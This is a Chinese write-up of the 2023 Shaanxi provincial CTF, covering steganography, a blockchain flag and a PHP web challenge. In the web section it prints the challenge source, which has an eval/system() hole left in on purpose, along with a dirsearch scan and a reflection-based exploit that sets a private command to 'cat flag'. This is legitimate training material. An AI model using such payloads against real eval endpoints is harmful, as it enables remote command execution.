2023年陕西省赛
2023年陕西省赛
Misc
管道
先看题目提示 是lsb 直接使用stegsolve进行信息提取
虽然图片阴影比较多 但还是可以在red green blue的0通道上看到明显的痕迹 说明这三个通道上都有信息隐藏
但其实三个通道上信息都是一样的 都是正确的flag
:horse:flag{0988f2a657d8936a76876d4f39f7d7a0}
可是雪啊飘进双眼(snow隐写)
在hint.wav后面发现摩斯电码 解码结果是WOAISHANXI
将snow.txt放进010editor中观察 发现在行间出现大量可疑空格 且重复出现16进制码的20 09
考虑snow隐写 WOAISHANXI应该是密码
snow隐写是由空格、制表符、回车等不可见字符组成的隐写
原理是通过在文本文件的末尾嵌入空格和制表位的方式嵌入隐藏信息,不同空格与制表位的组合代表不同的嵌入信息。
得到shanxiroujiamo
为压缩包密码 得到hide.jpg和key.jpg
binwalk分离key.jpg得到2.jpg 对比key.jpg 得到解密内容为:BC1PVEYD
flag{d2d2835882495f4e39ecce6847e78f86}
findme(crc块异常 vc容器加密 gimp查看图片)
在图片下方 观察到明显的异常色块 在010editor打开 发现了crc块有问题
使用tweakpng工具 先导出异常部分 再删去 保存图片
删掉unknow1前面这部分IDAT头
得到 unkonwn和key_修正.png
整数大小 猜测是vc容器 使用key_修正.png做密钥进行挂载 得到flag.txt 全是0和255
with open('E:/Desktop/2023 陕西省赛/find/flag/flag.txt', 'r') as file:
data = file.read()
hex_data = ''.join([hex(int(value))[2:].zfill(2) for value in data.split(',')])
print(hex_data)
with open('flag_hex.txt', 'w') as f:
f.write(bytes.fromhex(hex_data))
转化为16进制 将文件的后缀改为.data 放进gimps 转化为二维码 手动扫一下 注意 最后的结果编码一定要是ascii 不能是utf-8 不然转出来的二维码会有问题
:horse:flag{a95e34a30d135c2d32f46f3834872f37}
你是不是很疑惑呢(aztec条形码)
这39张码都是一样的
aztec码 找个在线工具扫一下
an inch of {TIME} is an inch of gold, an inch of gold cannot buy an inch of {TIME}
提示在图片的创建时间上有文章
日期转时间戳再异或 将异或的结果按ascii码转为字符
import os
import re
def chinese_to_arabic(chinese_number):
mapping = {
'零': 0,
'壹': 1,
'贰': 2,
'叁': 3,
'肆': 4,
'伍': 5,
'陆': 6,
'柒': 7,
'捌': 8,
'玖': 9,
'拾': 10,
}
pattern = re.compile(r'[零壹贰叁肆伍陆柒捌玖拾佰仟万亿]')
matches = pattern.findall(chinese_number)
total = 0
current = 0
for char in matches:
value = mapping[char]
if value >= 10:
if current == 0:
current = value
else:
current *= value
else:
current += value
if current >= 10:
total += current
current = 0
return total + current
# 获取当前目录路径
folder_path = 'E:/Desktop/2023 陕西省赛/out/out'
# 获取当前目录下的所有文件名
file_names = os.listdir(folder_path)
# print(file_names)
# 仅保留后缀为 .png 的文件名,并将中文数字转换为阿拉伯数字
number_file_mapping = {}
for filename in file_names:
if filename.endswith('.png'):
chinese_num = filename.split('.')[0]
number = chinese_to_arabic(chinese_num)
number_file_mapping[number] = filename
# 按数字的大小顺序遍历文件名
sorted_numbers = sorted(number_file_mapping.keys())
for number in sorted_numbers:
filename = number_file_mapping[number]
file_path = os.path.join(folder_path, filename)
# 获取文件的创建时间和修改时间的时间戳
create_time = int(os.path.getctime(file_path))
modify_time = int(os.path.getmtime(file_path))
# 异或运算
xor_result = create_time ^ modify_time
xor_result = xor_result % 0x110000
print(chr(xor_result),end='')
# flag{Tim3_1s_a_w0nd3rfuL_Th1ng_alright}
Blockchain
被销毁的flag
发现destroy 即为被删除的部分
点开method为destroy的部分 在detail里面没有有效信息
再点开下面的部分 在detail里面找到一串hex码
使用utf-8的编码方式 发现flag 在进行一下拼接
flag{S0met1m4s_d4t0ry_c4n_n0t_d4t0ry}
Web
unserialize(反射机制 unicode不可见字符 )
题目代码
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password==" //how to change the private variablessecret"){
system($this->cmd);
}
}
}
$a = $_GET['a'];
if(isset($_GET['a'])){
@eval(waf($a));
}
?>
使用dirsearch扫出robots.txt
python dirsearch.py -e php -u http://f74888d8.clsadp.com/
转到 hint.php
得到提示you can use these(getProperty、ReflectionObject、getFlag、getProperty、setAccessible、setValue)function
这行代码使用require_once语句导入了一个名为"waf.php"的文件 waf.php很可能包含一些用与过滤和检查输出的代码 当类getFlag被创建的时候,在触发销毁函数的时候,经过if判断,判断成功可以执行cmd命令,但是password和cmd是private私有变量,发现eval函数,传入参数a,a传递的php代码可以被执行 结合题意和提示 waf.php是用于检测a传入的php代码是否只使用了提示包含的函数 @符号用于抑制可能产生的错误消息。
可以利用反射机制来绕过私有成员变量的访问限制
编写exp
$flag=new getFlag();
$reflection = new ReflectionObject($flag);
$property = $reflection->getProperty('password');
$property->setAccessible(true);
$property->setValue($flag, " //how to change the private variablessecret");
$property = $reflection->getProperty('cmd');
$property->setAccessible(true);
$property->setValue($flag, "cat flag");
放在vscode中还能看到不可见字符(unicode)
将exp作为a的内容以get方式传入 得到flag
flag{5e711db64425e99fcaf6020a8a3c9afb}